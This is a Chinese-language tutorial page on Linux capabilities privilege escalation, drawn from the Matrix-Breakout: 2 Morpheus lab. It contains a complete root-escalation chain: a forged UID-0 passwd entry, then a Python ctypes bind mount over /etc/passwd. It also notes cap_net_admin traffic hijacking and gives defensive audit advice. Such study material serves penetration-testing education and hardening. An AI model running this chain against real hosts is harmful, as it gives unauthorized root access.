跳到主要内容

Linux capabilities 提权

Linux capabilities 把 root 权限拆成多个细粒度能力。问题在于:某些能力本身已经非常接近 root,一旦授给可被普通用户执行的程序,就可能绕过传统 SUID 检查完成提权。

枚举

getcap -r / 2>/dev/null

重点看:

/usr/bin/python3-9 cap_sys_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep

高危能力速查

capability风险
cap_sys_admin近似 root,能 mount、namespace、很多内核管理操作
cap_setuid可切换 UID,常见直接提权
cap_setfcap可给文件设置 capability,容易扩大权限
cap_dac_read_search绕过文件读取权限
cap_dac_override绕过文件读写权限
cap_net_admin修改网络、防火墙、路由,可能捕获或劫持流量

cap_sys_admin bind mount 覆盖文件

如果某个可执行程序既带 cap_sys_admin=ep,又能被当前用户执行,就可以考虑 bind mount 覆盖关键文件。

确认权限:

getcap /usr/bin/python3-9
ls -l /usr/bin/python3-9
id

构造新 /etc/passwd 副本:

cp /etc/passwd /tmp/passwd
HASH=$(openssl passwd -1 -salt bee hack123)
printf 'bee:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /tmp/passwd

使用 Python 调 mount() 做 bind mount:

/usr/bin/python3-9 - <<'PY'
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
ret = libc.mount(b"/tmp/passwd", b"/etc/passwd", b"none", 4096, b"rw")
print(ret)
PY

切换新 root 用户:

su - bee

cap_net_admin 的横向价值

cap_net_admin 不一定直接 root,但能:

  • 修改 iptables / nftables。
  • 添加 DNAT / REDIRECT 规则。
  • 抓取或劫持内部明文认证流量。

相关流程见:iptables DNAT 认证流量捕获

防坑点

  • capability 在文件上,不在用户上;用户必须能执行该文件。
  • cap_sys_admin 的可利用方式取决于程序能力,Python/Perl 这类可调用系统 API 的解释器风险最高。
  • mount 覆盖是运行时效果,重启或卸载后会恢复。
  • 修改 /etc/passwd 类操作会影响系统稳定性,靶场结束后要清理或重启还原。

防御建议

  • 定期审计 getcap -r / 输出。
  • 不给通用解释器设置高危 capability。
  • 避免把高危 capability 授给 Web 用户、低权限组可执行的文件。
  • 用包管理和完整性基线监控异常 capability。

来源案例

  • Matrix-Breakout: 2 Morpheuspython3-9cap_sys_admin=epcypher 属于可执行该文件的组,最终通过 bind mount 覆盖 /etc/passwd 提权。
  • Matrix-Breakout: 2 Morpheusxtables-nft-multicap_net_admin=ep 让 WebShell 可修改 NAT 捕获认证流量。